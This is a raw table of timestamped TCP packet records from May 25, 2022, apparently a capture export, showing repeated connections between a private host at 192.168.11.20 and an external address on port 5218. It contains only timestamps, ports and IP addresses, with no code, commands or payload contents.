May 25, 2022 16:33:06.215580940 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.218359947 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.218446970 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.218543053 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.218597889 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.220217943 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.220304012 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.220379114 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.220480919 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.232112885 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.232466936 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.234843969 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.235212088 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:10.240400076 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:10.497749090 CEST	5218	49838	23.105.131.228	192.168.11.20
May 25, 2022 16:33:10.497957945 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:10.498231888 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:10.876679897 CEST	5218	49838	23.105.131.228	192.168.11.20
May 25, 2022 16:33:10.877031088 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:10.959106922 CEST	5218	49838	23.105.131.228	192.168.11.20
May 25, 2022 16:33:10.959326029 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:11.266829014 CEST	5218	49838	23.105.131.228	192.168.11.20
May 25, 2022 16:33:11.267096996 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:11.534029007 CEST	5218	49838	23.105.131.228	192.168.11.20
May 25, 2022 16:33:12.041456938 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:12.304929018 CEST	5218	49838	23.105.131.228	192.168.11.20
May 25, 2022 16:33:12.305006981 CEST	5218	49838	23.105.131.228	192.168.11.20
May 25, 2022 16:33:12.305366993 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:12.369564056 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:12.619266033 CEST	5218	49838	23.105.131.228	192.168.11.20
May 25, 2022 16:33:12.619646072 CEST	49838	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:16.398320913 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:16.763001919 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:16.763226032 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:16.763494015 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:17.114293098 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:17.114527941 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:17.169246912 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:17.212194920 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:17.539685011 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:17.540060043 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:17.811399937 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:17.811783075 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.245215893 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.245419025 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.587028980 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.634777069 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.635023117 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.688875914 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.689245939 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.700937033 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.701018095 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.701316118 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.701422930 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.706584930 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.706796885 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.716408968 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.716644049 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.724384069 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.724492073 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.724555969 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.724608898 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.724616051 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.724673033 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.724678040 CEST	5218	49839	23.105.131.228	192.168.11.20
May 25, 2022 16:33:18.724688053 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.724819899 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:18.724900007 CEST	49839	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:22.615042925 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:22.875129938 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:22.875330925 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:22.875675917 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:23.247668982 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:23.247926950 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:23.304085970 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:23.351588011 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:23.559429884 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:23.559642076 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:23.818726063 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:23.819082975 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.190947056 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.191266060 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.612624884 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.612948895 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.678204060 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.678236008 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.678384066 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.678493977 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.678606033 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.678634882 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.678776026 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.679018021 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.679157019 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.679163933 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.679285049 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.679384947 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.679434061 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.693847895 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.694008112 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.694025040 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.694097042 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.694202900 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.694262028 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.757424116 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.905392885 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.905738115 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.951801062 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.951981068 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.952147961 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.952208042 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.952650070 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.952893019 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.953116894 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.953315973 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.957673073 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.957870007 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.957906961 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.958092928 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.958133936 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.958141088 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.958266020 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.958389997 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.958441019 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.958517075 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.958609104 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.958658934 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.958666086 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.958714962 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.958839893 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.958931923 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.958975077 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.959089041 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.959111929 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.959119081 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.959129095 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.959234953 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.959327936 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.959340096 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.959465981 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.959502935 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.959608078 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.959646940 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.959652901 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.959717989 CEST	5218	49840	23.105.131.228	192.168.11.20
May 25, 2022 16:33:24.959867954 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:24.959933043 CEST	49840	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:28.783678055 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:29.043205023 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:29.043396950 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:29.043735981 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:29.411504030 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:29.411784887 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:29.444380999 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:29.490787983 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:29.712167025 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:29.712395906 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:29.977283001 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:29.977438927 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.273895025 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.274116993 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.581476927 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.581636906 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.661144018 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.661381960 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.661392927 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.661655903 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.662646055 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.662839890 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.663006067 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.663269997 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.663275003 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.663393974 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.663476944 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.663594007 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.670702934 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.670766115 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.670922041 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.670972109 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.834356070 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.876318932 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.876636982 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.916220903 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.916465044 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.917084932 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.917151928 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.917248964 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.917314053 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.920945883 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.921289921 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.925961971 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.926179886 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.927752018 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.927836895 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.927933931 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.927967072 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.928041935 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.928152084 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.928210974 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.928272009 CEST	5218	49841	23.105.131.228	192.168.11.20
May 25, 2022 16:33:30.928406954 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:30.928457975 CEST	49841	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:35.019409895 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:35.274837971 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:35.275105000 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:35.275331974 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:35.595525980 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:35.595783949 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:35.643438101 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:35.692560911 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:36.062040091 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:36.062320948 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:36.326952934 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:36.327204943 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:36.658610106 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:36.658936024 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:36.987648010 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:36.988020897 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.062519073 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.062694073 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.062786102 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.062853098 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.062931061 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.063014030 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.063050985 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.063076973 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.063113928 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.063128948 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.063159943 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.063222885 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.063249111 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.063297987 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.063303947 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.063323021 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.063435078 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.063484907 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.083122969 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.297054052 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.297282934 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.331753969 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.331836939 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.332107067 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.332235098 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.332421064 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.332490921 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.332525015 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.332600117 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.332623959 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.332736015 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.332751989 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.332895994 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.332947969 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.333667994 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.333959103 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.334038973 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.334086895 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.334235907 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.334398985 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.334494114 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.349525928 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.349611044 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.349720001 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.349855900 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.349896908 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.349980116 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.350028992 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.350162029 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.350231886 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.350421906 CEST	5218	49842	23.105.131.228	192.168.11.20
May 25, 2022 16:33:37.350593090 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:37.350971937 CEST	49842	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:41.228524923 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:41.543361902 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:41.543756962 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:41.543998957 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:41.903903008 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:41.904319048 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:41.930427074 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:41.972620010 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:42.267225027 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:42.267400980 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:42.521161079 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:42.521512032 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:42.879992962 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:42.880326033 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.170360088 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.170766115 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.265336990 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.265563965 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.265661001 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.265744925 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.265794992 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.265815973 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.265896082 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.265995026 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.266064882 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.266205072 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.266350985 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.266388893 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.266531944 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.266695976 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.266777992 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.266999960 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.267175913 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.267235994 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.267359972 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.267436981 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.300437927 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.472877979 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.473135948 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.528019905 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.528275013 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.528300047 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.528428078 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.528541088 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.528711081 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.528861046 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.529017925 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.529042959 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.529109955 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.529295921 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.529345036 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.530217886 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.530646086 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.530904055 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.530989885 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.530992985 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.531068087 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.531136036 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.531516075 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.531704903 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.531770945 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.531825066 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.531922102 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.532311916 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.562952995 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.563227892 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.563236952 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.563335896 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.563386917 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.563390970 CEST	5218	49843	23.105.131.228	192.168.11.20
